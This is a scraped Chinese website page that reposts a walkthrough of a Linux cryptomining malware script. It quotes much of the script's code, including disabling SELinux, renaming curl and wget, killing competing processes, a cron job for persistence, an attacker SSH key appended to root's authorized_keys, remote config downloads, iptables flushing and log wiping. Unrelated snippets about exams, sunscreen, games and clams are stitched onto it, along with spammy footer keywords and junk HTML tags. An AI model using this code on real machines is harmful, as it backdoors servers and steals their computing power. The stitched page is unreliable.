1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          挖礦腳本(數據庫的挖礦腳本怎么寫)

          來源:互聯網轉載 時間:2024-05-08 07:55:00

          01.Code 1

          #!/bin/sh

          腳本的第一行,看起來是一行注釋,但其實并不是。它規定了接下來的腳本,將要采用哪一個 SHELL 執行。

          像我們平常用的 bash、zsh 等,屬于 sh 的超集,這個腳本使用 sh 作為執行的 shell,具有更好的可移植性。

          02.Code 2

          setenforce02>dev/nullechoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/null

          setenforce 是 Linux 的 selinux 防火墻配置命令,執行 setenforce 0 表示關閉 selinux 防火墻。2 代表的是標準錯誤(stderr)的意思。

          所以后面,使用重定向符,將命令的錯誤輸出定向到 /dev/null 設備中。這個設備是一個虛擬設備,意思是什么都不干。非常適合靜悄悄的干壞事。

          03.Code 3

          sync&&echo3>/proc/sys/vm/drop_caches

          腳本貼心的幫我們釋放了一些內存資源,以便獲取更多的資源進行挖礦。

          眾所周知,Linux 系統會隨著長時間的運行,會產生很多緩存,清理方式就是寫一個數字到 drop_caches 文件里,這個數字通常為 3。

          sync 命令將所有未寫的系統緩沖區寫到磁盤中,執行之后就可以放心的釋放緩存了。

          04.Code 4

          crondir='/var/spool/cron/'"$USER"cont=`cat${crondir}`ssht=`cat/root/.ssh/authorized_keys`echo1>/etc/sysupdatesrtdir="/etc/sysupdates"bbdir="/usr/bin/curl"bbdira="/usr/bin/cur"ccdir="/usr/bin/wget"ccdira="/usr/bin/wge"mv/usr/bin/wget/usr/bin/getmv/usr/bin/xget/usr/bin/getmv/usr/bin/get/usr/bin/wgemv/usr/bin/curl/usr/bin/urlmv/usr/bin/xurl/usr/bin/urlmv/usr/bin/url/usr/bin/cur

          沒錯,上面這些語句就是完成了一些普通的操作。值得注意的是,它把我們的一些常用命令,使用 mv 命令給重名了。

          這在執行命令的時候,就會顯得分成功能的蛋疼。這腳本已經更改了計算機的一些文件,屬于犯罪的范疇了。

          腳本為了復用一些功能,抽象出了很多的函數。我們直接跳到 main 函數的執行,然后看一下這個過程。

          05.Code 5

          首先是 kill_miner_proc 函數。代碼很長,就不全部貼出來了。

          kill_miner_proc(){psauxf|grep-vgrep|grep"mine.moneropool.com"|awk'{print$2}'|xargskill-9...pkill-fbiosetjenkinspkill-fLoopback...crontab-rrm-rf/var/spool/cron/*

          挖礦領域是一個相愛相殺的領域。這個方法首先使用 ps、grep、kill 一套組合,干掉了同行的挖礦腳本,然后停掉了同行的 cron 腳本,黑吃黑的感覺。

          在這段腳本里,使用了 pkill 命令。這個命令會終止進程,并按終端號踢出用戶,比較暴力。

          06.Code 6

          接下來執行的是 kill_sus_proc 函數。

          psaxf-o"pid"|whilereadprociddo...done

          ps 加上 o 參數,可以指定要輸出的列,在這里只輸出的進程的 pid,然后使用 read 函數,對 procid 進行遍歷操作。

          07.Code 7

          ls-l/proc/$procid/exe|grep/tmpif[$?-ne1]then...fi

          上面就是遍歷操作過程了,我們可以看到 if 語句的語法。其中 $? 指的是上一個命令的退出狀態。

          0 表示沒有錯誤,其他任何值表明有錯誤。-ne 是不等于的意思,意思就是能夠匹配到 tmp 這個字符串。

          08.Code 8

          psaxf-o"pid%cpu"|awk'{if($2>=40.0)print$1}'|whilereadprociddo...done

          呵呵,上面又來了一次循環遍歷。不過這次針對的目標,是 CPU 使用超過 40% 的進程。這就有點狠了:影響我挖礦的進程,都得死!相煎何太急。

          09.Code 9

          再接下來,腳本針對不同的用戶屬性,進行了不同的操作。

          首先是 root 用戶。通過判斷是否存在 $rtdir 文件,來確定是否是 root 權限。

          chattr-i/etc/sysupdate*chattr-i/etc/config.json*chattr-i/etc/update.sh*chattr-i/root/.ssh/authorized_keys*chattr-i/etc/networkservice

          使用 chattr 命令,把一些重要的文件,搞成不能任意改動的只讀屬性,也是夠損的。然后,操作 cron 程序,把腳本的更新服務加入到定時中。

          就是下面這段腳本。

          10.Code 10

          if[!-f"/usr/bin/crontab"]thenecho"*/30****sh/etc/update.sh>/dev/null2>&1">>${crondir}else[[$cont=~"update.sh"]]||(crontab-l;echo"*/30****sh/etc/update.sh>/dev/null2>&1")|crontab-fi

          注意 [[ $cont =~ "update.sh" ]] 這以小段代碼,怪異的很。[[ ]] 是 shell 中內置的一個命令,支持字符串的模式匹配。

          使用 =~ 的時候,甚至支持 shell 的正則表達式,強大的令人發指。它的輸出結果是一個 bool 類型,所以能夠使用||進行拼接。

          而后面的單小括號 (),是的是一個命令組,括號中多個命令之間用分號隔開,最后一個命令可以沒有分號;和 `cmd` 的效果基本是一樣的。

          11.Code 11

          搞完了定時任務,就要配置 ssh 自動登錄了,通過把公鑰追加到信任列表中就可以。

          chmod700/root/.ssh/echo>>/root/.ssh/authorized_keyschmod600root/.ssh/authorized_keysecho"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/

          12.Code 12

          說曹操曹操就到,下面的腳本就使用了 `` 進行操作。

          filesize_config=`ls-l/etc/config.json|awk'{print$5}'`if["$filesize_config"-ne"$config_size"]thenpkill-fsysupdaterm/etc/config.jsondownloads$config_url/etc/config.json$config_url_backupelseecho"noneeddownload"fi

          通過一系列騷操作,獲取到配置文件的大小,如果判斷文件大小不一致,那么就重新下載一個。這就用到了 downloads 函數。

          shell 中的函數,看起來比較怪異,后面的參數傳遞,就像是腳本傳遞一樣,傳送給函數。

          13.Code 13

          downloads$config_url/etc/config.json$config_url_backup

          這句話,就傳遞了三個參數。當然,文件要從遙遠的服務器上下載。域名是 .de 結尾的,證明是個德國的域名,其他的我們一無所知。

          downloads(){if[-f"/usr/bin/curl"]thenecho$1,$2http_code=`curl-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencurl--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thencurl--connect-timeout10--retry100$1>$2elsecurl--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/cur"]thenhttp_code=`cur-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencur--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thencur--connect-timeout10--retry100$1>$2elsecur--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/wget"]thenwget--timeout=10--tries=100-O$2$1if[$?-ne0]thenwget--timeout=10--tries=100-O$2$3fielif[-f"/usr/bin/wge"]thenwge--timeout=10--tries=100-O$2$1if[$?-eq0]thenwge--timeout=10--tries=100-O$2$3fifi}

          我認為,這段代碼作者寫的又臭又長,完全沒有體現出自己應有的水平。應該是趕工期,沒有想好代碼的復用,才會寫的這么有失水準。

          我們上面說到,腳本改了幾個命令的名字,其中就有 curl。這個命令是如此的強大,以至于腳本的作者都忍不住加了不少參數:

          • -I:用來測試 http 頭信息。

          • -m:設置最大傳輸時間。

          • -o:指定保持的文件名。這里是 /dev/null,呃呃呃......

          • -s:靜默模式,不輸出任何東西。

          • --connect-timeout:連接超時時間。

          • --retry:重試次數,好狠,100 次。

          如果沒有 curl?那就使用替補的 wget,套路都是一樣的。

          14.Code 14

          接下來是一系列相似的操作,最后,對 iptables 一批操作。

          iptables-Fiptables-Xiptables-AOUTPUT-ptcp--dport3333-jDROPiptables-AOUTPUT-ptcp--dport5555-jDROPiptables-AOUTPUT-ptcp--dport7777-jDROPiptables-AOUTPUT-ptcp--dport9999-jDROPiptables-IINPUT-s43.245.222.57-jDROPserviceiptablesreload

          15.Code 15

          細心的腳本編寫者,還使用命令清理了操作日志。

          history-cecho>/var/spool/mail/rootecho>/var/log/wtmpecho>/var/log/secureecho>/root/.bash_history

          “數據庫的挖礦腳本怎么寫”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注本站網站,小編將為大家輸出更多高質量的實用文章!

          標簽:挖礦腳本-

          c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制,八進制,十六進制。八進制前面要加0,后面...

          2022年天津專場考試原定于3月19日舉行,受疫情影響確定延期,但目前延期后的考試時間推遲。 符合報名條件的考生,須在規定時間登錄招考資訊網(www.zha...

          :喜歡聽,樂意看。指很受歡迎?!巴卣官Y料”喜聞樂見:[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】:喜歡聽,樂意看。指很受歡迎。2. 【示例】:這是...

          (資料圖片僅供參考)最近這段時間總有小伙伴問小編確美同是水寶寶嗎是什么,小編為此在網上搜尋了一些有關于確美同是水寶寶嗎的知識送給大家,希望能解答各位小伙伴的疑惑。確美同其實就是水寶寶,coppertone之前我們翻譯成水寶寶,就在大家已經習慣了水寶寶這個名字的時候,官方公司申請翻譯名稱確美同所以說確美同就是水寶寶,雖然從2005年都叫做確美同了,大家還是喜歡叫它水寶寶,大家只用知道這是一個牌子,屬...

          關 于 dnf寒冰光劍 寒冰劍光子劍的知識大家了解嗎?以下就是小編整理的關于dnf寒冰光劍 寒冰劍光子劍的介紹,希望對大家有幫助!DNF寒冰光劍 - 冰雪神器的誕生【資料圖】DNF是一款以魔幻風為主題的大型多人在線角色扮演游戲,這個游戲不僅有著精美的畫面和豐富的玩法,更有著一批批的熱愛者和忠實粉絲。在DNF游戲中,有很多武器和道具,而其中最受歡迎的武器之一就是寒冰光劍了。那么,究竟是什么讓這把冰雪...

          (相關資料圖)最近這段時間總有小伙伴問小編河蚌怎么養是什么,小編為此在網上搜尋了一些有關于河蚌怎么養的知識送給大家,希望能解答各位小伙伴的疑惑。目前河蚌養殖方式多采用吊養和籠養,吊養方法有單個吊養和串養在一根線上吊養兩只蚌以上,籠養數量依籠(網籠、網夾)的大小而定,一般以每只蚌都能接觸籠底為適宜。育珠河蚌一般畝養殖池塘為800-1200只,外蕩為600-800只,養殖密度具體視體重肥度,水體流動,...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>